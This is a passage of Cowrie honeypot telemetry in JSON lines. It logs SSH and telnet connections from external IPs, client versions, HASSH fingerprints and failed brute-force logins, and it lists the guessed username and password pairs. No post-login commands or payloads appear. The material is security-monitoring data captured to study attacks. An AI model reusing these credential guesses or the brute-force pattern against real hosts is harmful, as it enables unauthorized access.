16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:58.811919Z","src_ip":"89.223.69.22","session":"7d8ad884c85d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:59.000588Z","src_ip":"147.45.211.215","session":"1e9694dc4faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"300684","message":"login attempt [root/300684] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:59.154421Z","src_ip":"89.223.69.22","session":"7d8ad884c85d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15934,"dst_ip":"10.17.0.5","dst_port":22,"session":"66df5c62da71","protocol":"ssh","message":"New connection: 141.11.88.14:15934 (10.17.0.5:22) [session: 66df5c62da71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:00.060799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:00.156462Z","src_ip":"141.11.88.14","session":"66df5c62da71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:00.159622Z","src_ip":"141.11.88.14","session":"66df5c62da71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:00.282624Z","src_ip":"124.226.216.189","session":"6ad1349b5cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:00.288723Z","src_ip":"89.223.69.22","session":"7d8ad884c85d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:00.742419Z","src_ip":"141.11.88.14","session":"66df5c62da71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:01.826935Z","src_ip":"141.11.88.14","session":"66df5c62da71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":37868,"dst_ip":"10.17.0.5","dst_port":22,"session":"5739ac4f2b85","protocol":"ssh","message":"New connection: 103.27.238.120:37868 (10.17.0.5:22) [session: 5739ac4f2b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:02.349807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:02.354492Z","src_ip":"103.27.238.120","session":"5739ac4f2b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:02.614200Z","src_ip":"103.27.238.120","session":"5739ac4f2b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marco","message":"login attempt [root/marco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:03.397544Z","src_ip":"103.27.238.120","session":"5739ac4f2b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:04.662763Z","src_ip":"103.27.238.120","session":"5739ac4f2b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15968,"dst_ip":"10.17.0.5","dst_port":22,"session":"06399b217e96","protocol":"ssh","message":"New connection: 141.11.88.14:15968 (10.17.0.5:22) [session: 06399b217e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:05.655330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:05.666092Z","src_ip":"141.11.88.14","session":"06399b217e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:05.755665Z","src_ip":"141.11.88.14","session":"06399b217e96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34740,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa9347ec5d0e","protocol":"telnet","message":"New connection: 128.199.8.54:34740 (159.203.135.109:23) [session: aa9347ec5d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:05.799083Z"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"dev","message":"login attempt [deployer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:06.271311Z","src_ip":"141.11.88.14","session":"06399b217e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:07.412283Z","src_ip":"141.11.88.14","session":"06399b217e96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":42102,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaef99dfba8f","protocol":"ssh","message":"New connection: 14.63.196.175:42102 (159.203.135.109:22) [session: eaef99dfba8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:09.408930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:09.413425Z","src_ip":"14.63.196.175","session":"eaef99dfba8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:09.615288Z","src_ip":"14.63.196.175","session":"eaef99dfba8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"will","password":"Password1","message":"login attempt [will/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:10.458697Z","src_ip":"14.63.196.175","session":"eaef99dfba8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:11.669764Z","src_ip":"14.63.196.175","session":"eaef99dfba8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22332,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a3917dad895","protocol":"ssh","message":"New connection: 141.11.88.14:22332 (10.17.0.5:22) [session: 4a3917dad895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:11.862576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:11.876911Z","src_ip":"141.11.88.14","session":"4a3917dad895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:12.093331Z","src_ip":"141.11.88.14","session":"4a3917dad895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"P@ssw0rd","message":"login attempt [deployer/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:12.410864Z","src_ip":"141.11.88.14","session":"4a3917dad895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:13.524422Z","src_ip":"141.11.88.14","session":"4a3917dad895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29694,"dst_ip":"10.17.0.5","dst_port":22,"session":"641b30f18a20","protocol":"ssh","message":"New connection: 141.11.88.14:29694 (10.17.0.5:22) [session: 641b30f18a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:18.437030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:18.558857Z","src_ip":"141.11.88.14","session":"641b30f18a20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:18.568684Z","src_ip":"141.11.88.14","session":"641b30f18a20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":48140,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ab0a1d97c3c","protocol":"ssh","message":"New connection: 87.106.47.28:48140 (10.17.0.5:22) [session: 3ab0a1d97c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:18.807203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:18.811884Z","src_ip":"87.106.47.28","session":"3ab0a1d97c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:18.905981Z","src_ip":"87.106.47.28","session":"3ab0a1d97c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234","message":"login attempt [root/Asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:18.968272Z","src_ip":"141.11.88.14","session":"641b30f18a20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ba123456","message":"login attempt [root/Ba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:19.313627Z","src_ip":"87.106.47.28","session":"3ab0a1d97c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:20.052390Z","src_ip":"141.11.88.14","session":"641b30f18a20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:20.409729Z","src_ip":"87.106.47.28","session":"3ab0a1d97c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29740,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a470d9f9423","protocol":"ssh","message":"New connection: 141.11.88.14:29740 (10.17.0.5:22) [session: 8a470d9f9423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:23.626505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:23.769023Z","src_ip":"141.11.88.14","session":"8a470d9f9423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:23.772597Z","src_ip":"141.11.88.14","session":"8a470d9f9423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123456","message":"login attempt [ftptest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:24.582529Z","src_ip":"141.11.88.14","session":"8a470d9f9423","protocol":"ssh"}
